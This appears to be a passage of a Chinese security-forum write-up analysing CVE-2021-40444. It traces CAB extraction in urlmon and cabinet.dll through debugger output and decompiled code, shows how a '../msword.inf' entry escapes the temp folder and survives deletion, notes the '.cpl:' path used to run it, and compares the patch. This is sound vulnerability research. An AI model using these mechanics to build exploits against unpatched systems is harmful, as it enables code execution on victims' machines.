07 07e2d468 71e9077d 07e2d480 07e2d494 71e90803 urlmon!CDownload::VerifyTrust+0x16c
08 07e2d474 71e90803 00000000 00000003 71e90640 urlmon!CCDLPacket::Process+0x6f
...

可以看到在CABINET!FDICreate调用前几个比较有意思的函数:urlmon!FDICreate, urlmon!Extract, urlmon!ExtractInfFile,这几个函数功能从函数名大致就可以猜出来,但是具体都看了什么还无法确定。

 

从win10虚拟机中找到urlmon.dll并在IDA中打开,查看这几个函数的伪代码。

 

urlmon!FDICreate函数就是在从cabinet.dll中获取FDICreate等函数的地址,然后调用FDICreate函数,这里不再贴出代码。

 

urlmon!Extract函数主要调用了urlmon!FDICreate函数,并通过这个函数中获取的cabinet.dll中的函数地址,调用其中的FDICopyFDIDestroy函数:

1
2
3
4
5
6
7
8
9
signed int __userpurge Extract@<eax>(ERF *a1@<ebx>, int a2@<edi>, PFNFDINOTIFY pfnfdin, int a4) {
...
    if ( !FDICreate(v7, v8, v9, v11, v13, v15, (pfnfdin + 4), a2, a1)
      || (v21 = FDICopy(v10, v12, v14, v16, pfnfdin, v18, v20), !FDIDestroy(v19)) )
    {
      v5 = 0x800300FD;
    }
...
}

根据文档FDICopy函数的功能就是从cab中提取文件。

 

如果在windbg中检查该函数的第二个参数(我一开始在IDA中看的是64位版本的urlmon.dll,可以看出来第二个参数是cab文件路径):

1
2
3
4
0:009> da 0c277dd8
0c277dd8  "C:\Users\zoem\AppData\Local\Micr"
0c277df8  "osoft\Windows\INetCache\Low\IE\J"
0c277e18  "YSZRXQN\word[1].cab"

果然,这是exploit.html从服务器端请求的word[1].cab缓存下来的路径。所以urlmon!Extract函数基本上就是从word[1].cab中提取文件了。

 

再看一下urlmon!ExtractInfFile函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
int __userpurge ExtractInfFile@<eax>(size_t a1@<edx>, ERF *a2@<ecx>, const char *a3, const char *a4, struct SESSION *a5, char *a6) {
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
  v19 = a4;
  v18 = a2;
  *(a3 + 4) = 0;
  *(a3 + 5) = 0;
  *a3 = 0;
  *(a3 + 6) = 1;
  *(a3 + 202) = 0;
  StringCchCopyA(a1, v11, v14);
  if ( !Extract(a2, a3, a3, a2) )
  {
    for ( i = *(a3 + 4); i; i = i[1] )
    {
      v8 = *i;
      if ( GetExtnAndBaseFileName(*i, v17) == 5 )
      {
        result = StringCchCopyA(v8, v12, v15);
        if ( result >= 0 )
          result = ExtractOneFile(v10, a3, v19, v13, v16);
        return result;
      }
    }
  }
  return 0x80004005;
}

注意到在这个函数中,在调用完Extract之后,又调用了ExtractOneFile,而且在ExtractOneFile中同样调用了Extract函数。这就比较有意思了,不知道这两次Extract的调用有什么区别。

 

根据上面的内容,我们确定了程序都调用了哪些FDI API函数,也明确了之后动态调试需要重点关注的位置。有了以上知识,我们开始从IDA伪代码以及windbg调试输出两个角度,确定程序接下来的执行流程。

3.3.2 FDICreate函数

根据文档,FDICreate函数会创建一个FDI的上下文,从源码上来看,实际上就是由应用程序指定一些回调函数,使用其中的用于分配空间的回调函数分配一块空间存在这些回调函数以及其他相关结构体的地址:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
HFDI __cdecl FDICreate(PFNALLOC pfnalloc, PFNFREE pfnfree, PFNOPEN pfnopen, PFNREAD pfnread, PFNWRITE pfnwrite, PFNCLOSE pfnclose, PFNSEEK pfnseek, int cpuType, PERF perf)
{
  HFDI *HFDI; // ecx
  HFDI result; // eax
 
  if ( perf ) {
    perf->erfOper = 0;
    perf->erfType = 0;
    perf->fError = 0;
    HFDI = (HFDI *)pfnalloc(0x804);
    if ( HFDI ) {
      HFDI[34] = (HFDI)-1;
      HFDI[33] = (HFDI)-1;
      HFDI[1] = pfnfree;
      HFDI[3] = pfnopen;
      HFDI[4] = pfnread;
      HFDI[5] = pfnwrite;
      HFDI[6] = pfnclose;
      HFDI[7] = pfnseek;
      HFDI[8] = (HFDI)cpuType;
      *((_WORD *)HFDI + 89) = 15;
      HFDI[40] = (HFDI)0xFFFF;
      HFDI[42] = (HFDI)0xFFFF;
      HFDI[41] = (HFDI)0xFFFF;
      result = HFDI;
      HFDI[2] = pfnalloc;
      *HFDI = perf;
      HFDI[18] = 0;
      HFDI[17] = 0;
      HFDI[19] = 0;
      return result;
    }
    perf->erfOper = 5;
    perf->erfType = 0;
    perf->fError = 1;
  }
  return 0;
}

根据调试器的跟踪结果,发现程序在这里分配的空间地址为0xc27b778

1
2
3
4
5
6
7
8
9
10
11
12
0:009> p
eax=0e3d1528 ebx=00000000 ecx=71e8a940 edx=00110100 esi=07e2b290 edi=71e8a940
eip=71ab7808 esp=07e2b0b8 ebp=07e2b0cc iopl=0         nv up ei pl zr na pe cy
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000247
CABINET!FDICreate+0x38:
71ab7808 ffd7            call    edi {urlmon!allocfunc (71e8a940)}
0:009> p
eax=0c27b778 ebx=00000000 ecx=2f53d5f6 edx=0536024c esi=07e2b290 edi=71e8a940
eip=71ab780a esp=07e2b0b8 ebp=07e2b0cc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
CABINET!FDICreate+0x3a:
71ab780a 59              pop     ecx

FDICreate函数执行结束后,这块空间数据为:

1
2
3
4
5
6
7
8
9
0c27b778 07e2b290
0c27b77c 71e8aba0 urlmon!freefunc
0c27b780 71e8a940 urlmon!allocfunc
0c27b784 71e8abb0 urlmon!openfunc
0c27b788 71e8abd0 urlmon!readfunc
0c27b78c 71e8ac40 urlmon!writefunc
0c27b790 71e8a980 urlmon!closefunc
0c27b794 71e8ac00 urlmon!seekfunc
...

如果检查07e2b290这里的数据,会发现:

1
2
3
4
5
6
7
8
9
0:009> db 7e2b290
07e2b290  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
07e2b2a0  00 00 00 00 01 00 00 00-43 3a 5c 55 73 65 72 73  ........C:\Users
07e2b2b0  5c 7a 6f 65 6d 5c 41 70-70 44 61 74 61 5c 4c 6f  \zoem\AppData\Lo
07e2b2c0  63 61 6c 5c 54 65 6d 70-5c 4c 6f 77 5c 43 61 62  cal\Temp\Low\Cab
07e2b2d0  34 32 35 41 00 00 00 00-00 00 00 00 00 00 00 00  425A............
07e2b2e0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
07e2b2f0  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................
07e2b300  00 00 00 00 00 00 00 00-00 00 00 00 00 00 00 00  ................

当前从这里的输出来看,7e2b290在这里肯定指向的不是这个字符串,只是恰好相邻,所以被我发现了,这个字符串应该是在之前某步生成的,用于保存提取出来的文件。

 

其中这里就能猜出来了,cab文件中保存的文件是../msword.inf,这里应该是有一个目录遍历的漏洞,最后msword.inf直接保存在了Low目录下,从而让后面猜测msword.inf的行为能够成功,实现了漏洞的利用。

 

但是我们还是继续往下看。

3.3.3 FDICopy函数

在FDICopy函数中,首先调用LoginCabinet函数,这个函数读入了cab文件的CFHEADER的36个字节,检查了文件的signature,版本号以及标志位,同时确定了CFFILE的位置

 

图片描述

 

图片描述

 

在最后的doCabinetInfoNotify函数中,程序调用了urlmon!fdiNotifyExtract函数(if ( (this[9])(0, this + 0x1EF) != -1 )),这个函数在之后还会调用到,它其实进行了主要的cab解压后的文件创建工作,不过在此次调用中并没有进行相关工作。

 

从IDA中得到函数声明:int __cdecl fdiNotifyExtract(enum FDINOTIFICATIONTYPE a1, struct FDINOTIFICATION *a2);

 

因此这里的调用中,FDINOTIFICATIONTYPE参数的数值是0,根据文件fdi.h(这个文件你应该可以在自己的操作系统里面搜索到):

1
2
3
4
5
6
7
8
typedef enum {
    fdintCABINET_INFO,              // General information about cabinet
    fdintPARTIAL_FILE,              // First file in cabinet is continuation
    fdintCOPY_FILE,                 // File to be copied
    fdintCLOSE_FILE_INFO,           // close the file, set relevant info
    fdintNEXT_CABINET,              // File continued to next cabinet
    fdintENUMERATE,                 // Enumeration status
} FDINOTIFICATIONTYPE; /* fdint */

fdintCABINET_INFO:
Called exactly once for each cabinet opened by FDICopy(), including continuation cabinets opened due to file(s) spanning cabinet
boundaries. Primarily intended to permit EXTRACT.EXE to automatically select the next cabinet in a cabinet sequence even if not copying files that span cabinet boundaries.

 

从IDA中代码中看,如果FDINOTIFICATIONTYPE参数的数值是0,fdiNotifyExtract其实什么都没干:

1
2
if ( a1 == fdintCABINET_INFO || a1 == fdintPARTIAL_FILE )
    return 0;

继续往下看,FDICopy函数调用了FDICallEnumerate,这个函数再次调用了urlmon!fdiNotifyExtract函数(if ( v3(5, this + 0x7BC) != -1 )),这次FDINOTIFICATIONTYPE参数的数值是5,对应fdintENUMERATE,从IDA代码看,fdiNotifyExtract依旧没有执行什么操作。

 

之后FDICopy函数调用了FDIReadCFFILEEntry函数,这个函数读入了CFFILE的前16个字节,不包含最后的szName字段,之后又读入了后面的0x100字节的数据。根据iFolder字段判断当前文件所处文件夹索引:

 

图片描述

 

之后FDICopy函数第三次调用urlmon!fdiNotifyExtract函数,这次的FDINOTIFICATIONTYPE参数的数值是2,对应fdintCOPY_FILE

 

经过windbg调试,发现程序调用了catDirAndFile函数,形成了解压缩后文件的完整路径C:\Users\zoem\AppData\Local\Temp\Low\Cab425A\../msword.inf:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
0:009> p
eax=07e2b3ac ebx=07e2b2a8 ecx=07e2b3ac edx=00000104 esi=0c27bf34 edi=07e2b28c
eip=71e8aa7c esp=07e2af9c ebp=07e2b0bc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
urlmon!fdiNotifyExtract+0xdc:
71e8aa7c e866030000      call    urlmon!catDirAndFile (71e8ade7)
0:009> p
eax=00000001 ebx=07e2b2a8 ecx=336b59e5 edx=07e2ad89 esi=0c27bf34 edi=07e2b28c
eip=71e8aa81 esp=07e2afa4 ebp=07e2b0bc iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
urlmon!fdiNotifyExtract+0xe1:
71e8aa81 85c0            test    eax,eax
0:009> da 7e2b3ac
07e2b3ac  "C:\Users\zoem\AppData\Local\Temp"
07e2b3cc  "\Low\Cab425A\../msword.inf"

之后程序会调用AddFileNeedFile函数,经过NeedFile的判断,程序从urlmon!fdiNotifyExtract函数返回,返回值为0。

 

在fdi.h中说,如果返回值为0,表示跳过文件不复制。但是如果仔细查看该文件,在关于FDINOTIFICATIONTYPE的注释说明部分,提供了一个在进行FDICopy过程中,FDINOTIFICATIONTYPE取值的典型变化情况:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
A typical sequence of calls will be something like this:
 fdintCABINET_INFO     // Info about the cabinet
 fdintENUMERATE        // Starting enumeration
 fdintPARTIAL_FILE     // Only if this is not the first cabinet, and
                       // one or more files were continued from the
                       // previous cabinet.
 ...
 fdintPARTIAL_FILE
 fdintCOPY_FILE        // The first file that starts in this cabinet
 ...
 fdintCOPY_FILE        // Now let's assume you want this file...
 // PFNWRITE called multiple times to write to this file.
 fdintCLOSE_FILE_INFO  // File done, set date/time/attributes
 
 fdintCOPY_FILE        // Now let's assume you want this file...
 // PFNWRITE called multiple times to write to this file.
 fdintNEXT_CABINET     // File was continued to next cabinet!
 fdintCABINET_INFO     // Info about the new cabinet
 // PFNWRITE called multiple times to write to this file.
 fdintCLOSE_FILE_INFO  // File done, set date/time/attributes
 ...
 fdintENUMERATE        // Ending enumeration

其中fdintPARTIAL_FILE针对的是同一文件存在于多个cab文件的情况,这里不考虑。从上面的流程可以看出,fdintCOPY_FILE参数传入了两次,如果当前文件是cab中的第一个文件,会传入一次fdintCOPY_FILE,也就是此时的情况,程序并不会进行真正的解压缩行为。

 

那么在这次传入fdintCOPY_FILE的时候,程序干了些什么呢?其实这里我没有完全弄清楚,它涉及到一个数据结构,但是我没有找到详细的文档介绍,如果从头开始说的话,要回到ExtractInfFile函数的开始部分,上面已经贴了这个函数的伪代码,在调用Extract函数之前,程序调用了StringCchCopyA函数(StringCchCopyA(0x104u, a3 + 0x1C, a1, v11, v14);),这个函数实际上就是把cab解压的目标目录复制到了a3 + 0x1C这个位置。而在这个语句之前,有这样两句代码:

1
2
*((_DWORD *)a3 + 6) = 1// 注意a3指向DWORD,所以这里偏移值是0x18h
*((_DWORD *)a3 + 0xCA) = 0// 偏移值0x328,注意这里,后面NeedFile会用到

*(a3+6)这里应该类似于一个标志位。

 

在第一次执行到AddFile的时候(也就是第一次传入fdintCOPY_FILE的时候),函数代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
BOOL __userpurge AddFile@<eax>(unsigned int a1@<ecx>, size_t cchDest@<edx>, unsigned int a3@<esi>, int a4)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  if ( (*(a1 + 0x18) & 1) == 0 )   // 这里a1指向byte,所以偏移值也是0x18h,是标志位
    return 1;
  v7 = CoTaskMemAlloc(0xCu);    // 分配了一个大小为0xC的空间,下面的注释对这个空间进行解释
  if ... // 分配失败
  v8 = CoTaskMemAlloc(strlen(cchDest) + 1);  // 为解压目标文件名分配空间
  *v7 = v8;   // 0xC空间首位保存解压目标文件名
  if ... // 分配失败
  v7[2] = 1// 0xC空间第三位数值为1 !!!这里下面会提到!!!
  (StringCchCopyA)(cchDest, a3, v11); 
  v7[1] = *(a1 + 0x10); // 0xC空间第二位不知道保存的什么,但是和下面两句一起看
  ++*(a1 + 0x14);  // 这里像是链表节点数量递增
  *(a1 + 0x10) = v7;  // 看起来像是将这个新分配的0xC空间链入了一个链表
  return (UIntAdd)(a1, v10, v12) >= 0// 这里从调试结果看像是统计文件总解压后大小
}

根据上面的注释,AddFile这个函数应该是将程序当前查看的解压文件添加到a1指向的一个结构体中,0xC的空间就保存了当前解压文件的文件名信息,以及链表的下一个节点,还有一个标志位(3.3.6小结会提到这个标志位的作用)。

 

在这里贴出所谓的a1指向的结构体是什么样子的(我不确定大小是不是正确的,或许包含了之后非结构体的数据):

1
2
3
4
5
07e2b28c 00 5c 41 00 00 00 00 00 00 00 00 00 00 00 00 00  .\A.............
07e2b29c 90 7c 92 08 01 00 00 00 01 00 00 00 43 3a 5c 55  .|..........C:\U
07e2b2ac 73 65 72 73 5c 7a 6f 65 6d 5c 41 70 70 44 61 74  sers\zoem\AppDat
07e2b2bc 61 5c 4c 6f 63 61 6c 5c 54 65 6d 70 5c 4c 6f 77  a\Local\Temp\Low
07e2b2cc 5c 43 61 62 34 32 35 41 00 00 00 00 00 00 00 00  \Cab425A........

注意到首四个字节就是解压后大小0x00415c00,偏移0x10的位置指向了分配的0xC大小的空间。

 

AddFile执行完之后,程序调用NeedFile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
int __fastcall NeedFile(int this, const CHAR *a2)
{
  // [COLLAPSED LOCAL DECLARATIONS. PRESS KEYPAD CTRL-"+" TO EXPAND]
 
  files_list = *(this + 0x10);   // 0x10这里保存的就是之前提到的链表
  while ( StrCmpIIA(a2, *files_list) )  // 链表遍历,找到文件名相同的位置
  {
    files_list = *(files_list + 4); // 0xC空间第二个位置保存的文件名指针
    if ( !files_list )
      goto LABEL_6;
  }
  if ( !*(files_list + 8) )
    return 0;
LABEL_6:
  if ( (*(this + 0x18) & 2) != 0 )              // 标志位,此时是1,不满足
    return 1;
  for ( i = *(this + 0x328); i; i = *(i + 4) )  // 0x328偏移位置,上面提到过,是0
  {
    if ( !StrCmpIIA(*i, a2) )
      return 1;
  }
  return 0;
}

所以这次调用NeedFile会返回0,因此最终fdiNotifyExtract也会返回0。

 

之后FDICopy函数就没有什么重要操作了。

3.3.4 回到ExtractInfFile函数

执行完FDICopy函数之后,Extract函数调用FDIDestroy函数,会删除之前FDICreate函数创建的FDI上下文结构。Extract函数执行完成后,根据一开始得到的函数调用流程,程序会回到ExtractInfFile函数。

 

程序接下来会判断GetExtnAndBaseFileName函数的返回值是否为5,根据IDA伪代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
...
if ( !lstrcmpA(sz, "CAB") )
  return 2;
if ( !lstrcmpA(sz, "OCX") )
  return 4;
if ( !lstrcmpA(sz, "DLL") )
  return 3;
if ( !lstrcmpA(sz, "EXE") )
  return 6;
if ( !lstrcmpA(sz, "INF") )
  return 5;
if ( !lstrcmpA(sz, "OSD") )
  return 7;
if ( lstrcmpA(sz, "CAT") )
  return v4;
return 8;

可以确定这个函数是在判断cab中的文件的扩展名,返回值为5时说明文件扩展名是inf。而我们测试的cab中的文件是../msword.inf,符合要求。

3.3.5 ExtractOneFile函数

之前我们提到过,在ExtractOneFile函数中,程序会再次调用Extract函数,但是除此之外,在调用Extract函数之前,它还执行了下面的代码:

1
2
3
4
5
lpsz[0] = a1;  // 调试发现这里的a1就是文件名../msword.inf
lpsz[1] = 0;
lpsz[2] = 0;
*(a5 + 6) = 0;
*(a5 + 0xCA) = lpsz;

标志位变成了0,也就是说在之后第二次传入fdintCOPY_FILE,程序调用AddFile的时候,程序会在一开始就返回1。

 

与此同时*(a5 + 0xCA),也就是偏移值0x328的位置不再是0,而是传入了lpszlpsz的首四个字节保存的就是文件名指针。这样在调用NeedFile的时候,程序就会执行到循环体内部:

1
2
3
4
5
for ( i = *(this + 0x328); i; i = *(i + 4) )  // 0x328偏移位置
{
  if ( !StrCmpIIA(*i, a2) )
    return 1;
}

并且由于文件名相同,函数返回1。

 

这次fdiNotifyExtract函数不会在调用NeedFile之后返回,而是会继续向下执行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
path = v2 + 0x1C;
cchDest = (v2 + 0x120);
if ( !catDirAndFile(v2 + 0x120, 0x104, (v2 + 0x1C), fdi_ntf->psz1) || !(AddFile)(v2, fdi_ntf->psz1, fdi_ntf->cb) )
  return -1;
if ( !NeedFile(v2, fdi_ntf->psz1) )
  return 0;
if ( StrStrA(fdi_ntf->psz1, "\\") ) { // 因为在patch_cab进行了修改,所以不包含“\\”字符
  ..
}
else {
  full_path = v2 + 0x120;
}
result = Win32Open(0x8302, full_path, file_name, v12, v13);
if ( result == -1 )
  return -1;
return result;

程序会调用Win32Open函数,该函数会调用系统函数CreateFileA,按照完整路径C:\Users\zoem\AppData\Local\Temp\Low\Cab425A\../msword.inf创建文件

3.3.6 FDIGetFile函数

这次因为fdiNotifyExtract成功创建了要解压的文件,因此跳出回到FDICopy函数后,程序的流程会转到FDIGetFile函数的调用上:

 

图片描述

 

下面是FDIGetFile函数的伪代码,关键在于其中的while循环,FDIGetDataBlock函数会读取一个CFDATA的数据,获得其解压后的大小curr_size_written,每次调用write_func对这部分数据进行写入,然后判断尚未写入的数据size_unwritten是否为0,如果不为0,就继续调用FDIGetDataBlock读取下一个CFDATA。而size_unwritten一开始的大小等于cbFile,就是0x415c00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
int __thiscall FDIGetFile(_DWORD *this) {
  size_unwritten = this[0x1D];                  // cbFile
  if ( size_unwritten ) {
    new_size_written = this[0x1E];              // 文件在文件夹中的未压缩偏移,0
    old_size_written = new_size_written;
    if ( new_size_written < this[0xC] )
      this[0x24] = 0xFFFF;
    for ( i = InitFolder(this, *(this + 62)); i; i = FDIGetDataBlock(this) ) {
      if ( new_size_written < this[0xC] + *(this[0x12] + 6) ) {
        while ( 1 ) {
          v5 = new_size_written - this[0xC];
          fdidata_size = *(this[0x12] + 6) - v5;
          curr_size_written = fdidata_size;
          if ( fdidata_size > size_unwritten )
          {
            fdidata_size = size_unwritten;
            curr_size_written = size_unwritten;
          }
          if ( curr_size_written != (this[5])(this[0x23], v5 + this[0x10], fdidata_size) )// write_func
            break;
          new_size_written = curr_size_written + old_size_written;
          old_size_written += curr_size_written;
          size_unwritten -= curr_size_written;
          if ( !size_unwritten )   // 这里判断尚未写入的数据量
            goto LABEL_13;
          if ( !FDIGetDataBlock(this) )  // 这里判断读取下一个CFDATA是否成功
            goto LABEL_20;
        }
        v12 = *this;
        v12[1] = 0;
        *v12 = 8;
        v12[2] = 1;
        break;
      }
    }
LABEL_20:
    if ( this[0x23] != -1 ) {
      (this[6])(this[6], this[0x23]);           // close_func 此时内容正式写入硬盘
      this[0x23] = -1;
    }
  }
  else {
LABEL_13:
  ...
  }
  return 0;
}

代码在这里存在一个逻辑上的漏洞,数据全部写入完成,即size_unwritten==0的情况,以及CFDATA读取失败,即FDIGetDataBlock函数返回值为0的情况,这两个情况的后处理方法不同。

 

如果是CFDATA读取失败,即FDIGetDataBlock函数返回值为0的情况,程序会跳转到LABEL_20,执行close_func关闭文件,此时对缓冲区进行flush,正式将内容写入硬盘;

 

如果是数据全部写入完成,即size_unwritten==0的情况,程序会跳转到LABEL_13,这部分代码我没有贴出来,有一些数据赋值的操作,我也不太清楚在干嘛,但是最终的一点在于,它调用了fdiNotifyExtract函数,传入的是fdintCLOSE_FILE_INFO参数。

 

也就是说两者关闭文件的函数不同,fdiNotifyExtract在进行关闭文件操作的时候,代码如下:

1
2
3
4
5
6
7
8
9
10
11
if ( a1 == fdintCLOSE_FILE_INFO ) {
  if ( catDirAndFile(v2 + 0x120, 260, (v2 + 28), fdi_ntf->psz1) && AdjustFileTime(fdi_ntf->time, v12, v13) ) {
    CloseHandle(fdi_ntf->hf);
    v4 = fdi_ntf->attribs;
    v5 = v4 ? v4 & 0xFFFFFFD8 : 0x80;
    if ( SetFileAttributesA(v2 + 0x120, v5) ) {
      MarkExtracted(v2, v6);
      return 1;
    }
  }
}

关键在于MarkExtracted函数:

1
2
3
4
5
6
7
8
int __thiscall MarkExtracted(_DWORD *this, int a2) {
  v2 = this[4];
  while ( StrCmpIIA(v4, v5) ) {
    ...
  }
  *(v2 + 8) = 0// 注意这里的标志位清零
  return 1;
}

可能从伪代码看不出来这个标志位是什么。通过windbg调试,我发现它修改的就是3.3.3小结中提到的调用AddFile的时候分配的0xC空间的第三位,当时是设置成了1,我还不知道指的是什么,现在看来这个第三位应该是是否解压的标志。

3.3.7 DeleteExtractedFiles函数

FDIGetFile执行完之后,没有什么重要的操作,一直跳出,知道到达GetSupportedInstallScopesFromFile函数(调用ExtractInfFile的位置),然后就执行到了DeleteExtractedFiles函数。

1
2
3
4
5
6
7
8
9
10
11
12
void __thiscall DeleteExtractedFiles(_DWORD *this) {
  v2 = this[4];                                 // 这里就是0xC的那个空间
  while ( v2 ) {
    if ( !v2[2] && catDirAndFile(FileName, 260, (this + 7), *v2) && SetFileAttributesA(FileName, 0x80u) )
      DeleteFileA(FileName);
    CoTaskMemFree(*v2);
    v3 = v2;
    v2 = v2[1];
    CoTaskMemFree(v3);
  }
  this[4] = 0;
}

这个函数在if条件语句中检查了上面提到的是否解压的标志标志位,只有在这个标志位是0的情况下,才会继续往下执行其他函数,包括DeleteFileA函数。

 

因为在FDIGetFile函数中,程序没有正确的对这个标志位清零,因此DeleteFileA函数不会被执行,释放的mfword.inf保留了下来,导致后面可以通过.cpl:../../../AppData/Local/Temp/Low/msword.inf路径执行释放的文件。

3.3.8 小结

到目前为止,我们已经完整分析了整个漏洞利用流程,同时2.4小结提出的四个问题也都得到了解答。

 

经过分析,漏洞主要存在于两个位置:

  1. urlmon!fdiNotifyExtract函数中对于分隔符的判断,只判断了\\,而没有考虑/的情况,导致目录遍历情况的出现
  2. cabinet!FDIGetFile,当cbFile大于所有CFDATA的大小,或者其他情况导致FDIGetDataBlock调用失败的时候,后处理步骤缺少标志位清除操作

4. 补丁比较

我没找到适用于1709的补丁版本,不过主机也是win10的,所以直接比较了主机中和虚拟机中的文件,发现微软并没有对上面提到的两个函数进行修改,而是修改了catDirAndFile函数:

 

图片描述

 

新添加的部分查找了路径中的/字符,并替换成了\\

 

图片描述

 

至于标志位的清除操作则没有进行修改,可能是因为这个问题无伤大雅吧,因为缺少了目录遍历的条件,释放的文件位于一个随机的文件夹下,攻击者无法定位到释放的文件,因此即使释放的文件没有被正确删除,也不会造成危害。

5. 总结

这篇文章从poc代码,cab文件格式以及IDA静态代码分析+windbg调试三个方面对cve-2021-40444漏洞进行了比较全面的分析。其实漏洞分析本身并不比之前更难,但是明显能够感觉到,因为不像之前有详细的资料可以参考(虽然也有分析文章),不确定哪些地方是真正和漏洞相关的内容,我的个人探索会比较多,再加上本身也想要把整个执行流程弄清楚,因此这篇文章也就比较长。

6. 参考资料

  1. Microsoft Cabinet Format)
  2. CVE-2021-40444 漏洞深入分析
  3. lockedbyte/CVE-2021-40444
  4. Cabinet (file format))
  5. j00sean twitter
  6. window下,nodejs 安装 http-server,开启命令行HTTP服务器

恭喜ID[飞翔的猫咪]获看雪安卓应用安全能力认证高级安全工程师!!

收藏
点赞4
打赏
分享
最新回复 (2)
雪    币: 15087
活跃值: 活跃值 (13774)
能力值: (RANK:730 )
在线值:
发帖
回帖
粉丝
有毒 活跃值 10 2021-10-28 10:25
2
0
细还是你细啊~
雪    币: 348
活跃值: 活跃值 (1255)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
flag0 活跃值 2 2021-10-28 11:00
3
0
太强了Orz
游客
登录 | 注册 方可回帖
返回